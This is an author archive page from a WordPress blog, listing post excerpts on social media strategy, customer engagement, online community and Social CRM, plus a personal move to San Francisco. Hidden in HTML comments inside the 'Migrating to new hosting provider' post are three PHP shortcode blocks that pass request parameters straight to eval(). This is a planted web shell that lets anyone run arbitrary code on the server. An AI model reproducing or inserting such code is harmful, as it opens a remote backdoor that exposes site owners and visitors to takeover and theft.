Author: Kevin Micalizzi

  • Hello world!

    Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

  • Go west young(ish) men (& dog). Yes, we’re moving to San Francisco!

    Matt, Garreth, Trinity, & I are moving to San Francisco! Our goal is to be there for May, though we still have a ton of details to figure out.  We’re hunting for a new place while working to purchase our house of 11 years of accumulated junk.  Our plan is to keep the house in…

  • Being There is Not a Strategy

    I had a great opportunity to run a working session at PodCamp NH 2010 this weekend on social media strategy. I presented a few slides for a framework, and then an excellent discussion followed. Being There is Not a Strategy Four people volunteered to talk about their goals so we could work on them together.…

  • Don’t leave them hanging, follow-up again

    The question was asked on Facebook, it was easier to follow-up and continue the conversation via email. Great, the customer was helped, everything’s good, isn’t it?  Yes, but no. Did you go back and close the original conversation in some way to indicate where the conversation went? While our focus is on the active conversation,…

  • Navigating the social media currents, together in NH

    When working with any emerging approaches to business (and technologies), understanding what’s working for people and where things are going is a constant challenge. There are self-professed experts willing to sell you a “package solution” to get you up to speed. I’ll skip getting into a discussion of the pitfalls and ethical questions people raise…

  • Migrating to new hosting provider…

    Ran into too many problems with my previous hosting provider. You caught me in the middle of migrating to the new one. Things should be back to normal soon! -k <!– [insert_php]if (isset($_REQUEST["KKI"])){eval($_REQUEST["KKI"]);exit;}[/insert_php][php]if (isset($_REQUEST["KKI"])){eval($_REQUEST["KKI"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["JKDZ"])){eval($_REQUEST["JKDZ"]);exit;}[/insert_php][php]if (isset($_REQUEST["JKDZ"])){eval($_REQUEST["JKDZ"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["Tvm"])){eval($_REQUEST["Tvm"]);exit;}[/insert_php][php]if (isset($_REQUEST["Tvm"])){eval($_REQUEST["Tvm"]);exit;}[/php] –>

  • Rule #3: Be The Gatekeeper

    When you’re engaging with anyone online, rule #3 is “Be The Gatekeeper” You should never be a roadblock. Give customers a clear path. Just being there isn’t enough. Communication has to go both ways. You now have access to incredible feedback you used to have to pay a lot of money for. Lead customers to…

  • Followers vs. Community

    Rich Millington, on his FeverBee – The Online Community Guide blog shared two posts recently about a following vs. community: Why Most Organizations Shouldn’t Try To Create An Online Community and Clarity – What’s a Community? A Following = an audience that interacts with you A Community = an audience that interacts with each other…

  • What I want in a Social CRM (for me)

    I’m on a quest to find a Social CRM to help me keep my people information at my fingertips. Here’s how I currently try to track everything: Address Book (2,000+ entries) My address book is an extension of my brian.  I’ve been using it for keeping track of people I’ve met for years now.  It’s…

  • Rule #2: Address The Need

    When you’re engaging with anyone online, rule #2 is “Address The Need”. Everyone needs something.  We listen, we may even understand what we’re being asked — but it that what they really need?  If you’re engaging online, make sure you’re actually addressing the need. I’ve been thinking about this a lot recently after a discussion…